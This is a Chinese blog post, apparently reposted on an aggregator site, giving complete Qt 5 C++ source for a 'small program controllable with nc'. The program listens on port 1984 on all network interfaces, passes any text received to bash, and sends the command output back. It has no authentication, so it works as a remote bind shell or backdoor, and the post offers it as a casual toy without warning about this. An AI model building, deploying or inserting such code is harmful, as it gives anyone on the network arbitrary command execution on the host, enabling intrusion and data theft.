随手写的小程序2 一个nc能控制的程序

这篇具有很好参考价值的文章主要介绍了随手写的小程序2 一个nc能控制的程序。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

小程序源代码 下载: https://download.csdn.net/download/nn_84/88846445?spm=1001.2014.3001.5501

请下载 Qt 5.12.12

server.pro :

QT += gui network

CONFIG += c++11 console
CONFIG -= app_bundle

# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0

SOURCES += \
        main.cpp \
        mythread.cpp \
        server.cpp

# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target

HEADERS += \
    mythread.h \
    server.h

mythread.h :

#ifndef MYTHREAD_H
#define MYTHREAD_H

#include <QThread>
#include <QTcpSocket>
#include <QDebug>
#include <QProcess>

class myThread : public QThread
{
    Q_OBJECT
public:
    myThread(qintptr ID,QObject *parent = 0);
    qintptr sockethandle;
    QTcpSocket *socket;
    void run();
    QProcess *process;

public slots:
    void readyRead();
    void disconnected();

    void fun();
};

#endif // MYTHREAD_H

server.h :

#ifndef SERVER_H
#define SERVER_H

#include <QTcpServer>
#include "mythread.h"

class Server : public QTcpServer
{
public:
    Server();
    void startServer();

protected:
    void incomingConnection(qintptr handle);
};

#endif // SERVER_H

mythread.cpp :

#include "mythread.h"

myThread::myThread(qintptr ID,QObject *parent):QThread(parent)
{
    sockethandle = ID;
    process = new QProcess(this);
    connect(process,SIGNAL(readyReadStandardOutput()),this,SLOT(fun()));
}

void myThread::run()
{
    qDebug() << sockethandle;
    socket = new QTcpSocket(this);
    socket->setSocketDescriptor(sockethandle);
    connect(socket,SIGNAL(readyRead()),this,SLOT(readyRead()));
    connect(socket,SIGNAL(disconnected()),this,SLOT(disconnected()));
    exec();
}

void myThread::readyRead()
{
    QByteArray data = socket->readAll();
    qDebug() << data;
    process->start("bash");
    process->write(data);
}

void myThread::disconnected()
{
    socket->deleteLater();
    exit(0);
}

void myThread::fun()
{
    socket->write(process->readAllStandardOutput().data());
}

server.cpp :

#include "server.h"

Server::Server()
{

}

void Server::incomingConnection(qintptr handle)
{
    myThread *thread = new myThread(handle);
    thread->start();
}

void Server::startServer()
{
    if(this->listen(QHostAddress::Any,1984)){qDebug() << "Listen ...";}
}

main.cpp :文章来源地址https://www.toymoban.com/news/detail-831463.html

#include <QCoreApplication>
#include "server.h"

int main(int argc, char *argv[])
{
    QCoreApplication a(argc, argv);
    Server ser;
    ser.startServer();
    return a.exec();
}

到了这里,关于随手写的小程序2 一个nc能控制的程序的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 在Qt创建的UI中放一个显示点云的窗口(PCL+QT5)

    1、首先在 Qt Designer 创建UI后,拖一个Widget窗口出来 2、在对象查看器中右击该Widget,选择 提升窗口部件 ,如下操作: 3、把UI转出来放在VS项目中,其中你的UI代码头文件会自带QVTKOpenGLNativeWidget.h,当然你的VS属性环境得配置好VTK的环境,QVTKOpenGLNativeWidget.h在VTKincludevtk-9.1路径

    2024年02月08日
    浏览(45)
  • Qt编写的小软件:一个模拟按键按下和鼠标(左键)按下的小工具

    最近玩SLG游戏的时候有大量对剧情推进无意义的对话想要跳过的时候只能狂按空格键或者狂点鼠标,还好本人好歹是程序员,于是写了个小工具来处理。 下载地址:Qt编写的模拟鼠标按下和按键按下的小工具-C++文档类资源-CSDN下载 上面的资源包含打包好的程序和代码。 界面

    2024年02月11日
    浏览(45)
  • STM32写的PID算法温度控制程序示例

    使用STM32写的PID算法温度控制程序示例,该程序通过读取温度传感器的数据,并采用PID控制算法,输出PWM信号来控制加热器的工作,以实现温度的稳定控制。  以上代码基于STM32F10x的单片机实现,使用了定时器来输出PWM信号,以控制加热器的加热功率。同时,该程序还实现了

    2024年02月15日
    浏览(35)
  • Swift语言配合HTTP写的一个爬虫程序

    下段代码使用Embassy库编写一个Swift爬虫程序来爬取jshk的内容。我会使用proxy_host为duoip,proxy_port为8000的爬虫IP服务器。 使用Embassy库编写一个Swift爬虫程序可以实现从网页上抓取数据的功能。下面是一个简单的步骤: 1、首先,需要在Xcode中创建一个新的Swift项目。 2、然后,需

    2024年02月05日
    浏览(50)
  • chatgpt帮我写的一个小程序气泡框代码

    效果图 这是一个气泡框 .bubble { position: relative; padding: 10px; border-radius: 8px; background-color: #ddd; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3); } .triangle { position: absolute; width: 0; height: 0; top: -10px; left: 50%; margin-left: -10px; border-left: 10px solid transparent; border-right: 10px solid transparent; border-bottom: 10px soli

    2024年02月02日
    浏览(44)
  • 一个用python PyQT写的背单词小程序

    主要用到了QGridLayout, QTableWidget

    2024年02月04日
    浏览(39)
  • Qt Quick程序的发布|Qt5中QML和Qt Quick 的更改

    # Quick程序的发布旧版做法 # Qt5中QML和Qt Quick 的更改 1.QML语言的更改(Qt4-Qt5)     在QML语言中,只有少量更改会影响QML代码的迁移:无法直接导入单独的文件(例如:import\\\"MyType.qml”),需要导人该文件所在的目录;     JavaScript文件中的相对路径被解析为相对于该JavaScrip

    2024年01月25日
    浏览(50)
  • 基于Qt5 实现的简易慕课爬取程序

    Qt 网络下载数据实例 名称:MookScrapy 这个项目主要是使用了 Qt 里面的 QNetworkAccessManager 去下载慕课网站的数据 https://coding.imooc.com,也就是这个网站里面的卡片信息。然后做一定的分析和展示。(仅供参考,非法爬虫违法,学习使用下载的数据即可) 功能: 1.下载网页,对网

    2024年02月13日
    浏览(40)
  • QT5.14.2安卓环境配置及创建程序在手机上运行

    主要参考:Qt | Qt For Android、Qt5.14.2安卓开发环境搭建详细步骤_哔哩哔哩_bilibili            Qt | Qt For Android、Qt5.14.2安卓开发环境搭建详细步骤_qt安卓开发环境搭建-CSDN博客 出错时参考:如何在Windows下搭建Qt安卓开发环境? - 知乎 (zhihu.com)                 百度网盘链接 需要

    2024年04月17日
    浏览(36)
  • C# WPF 自己写的一个模拟病毒传播的程序,有可视化

    源代码: https://github.com/t39q/VirusSpread 主要代码

    2024年02月09日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包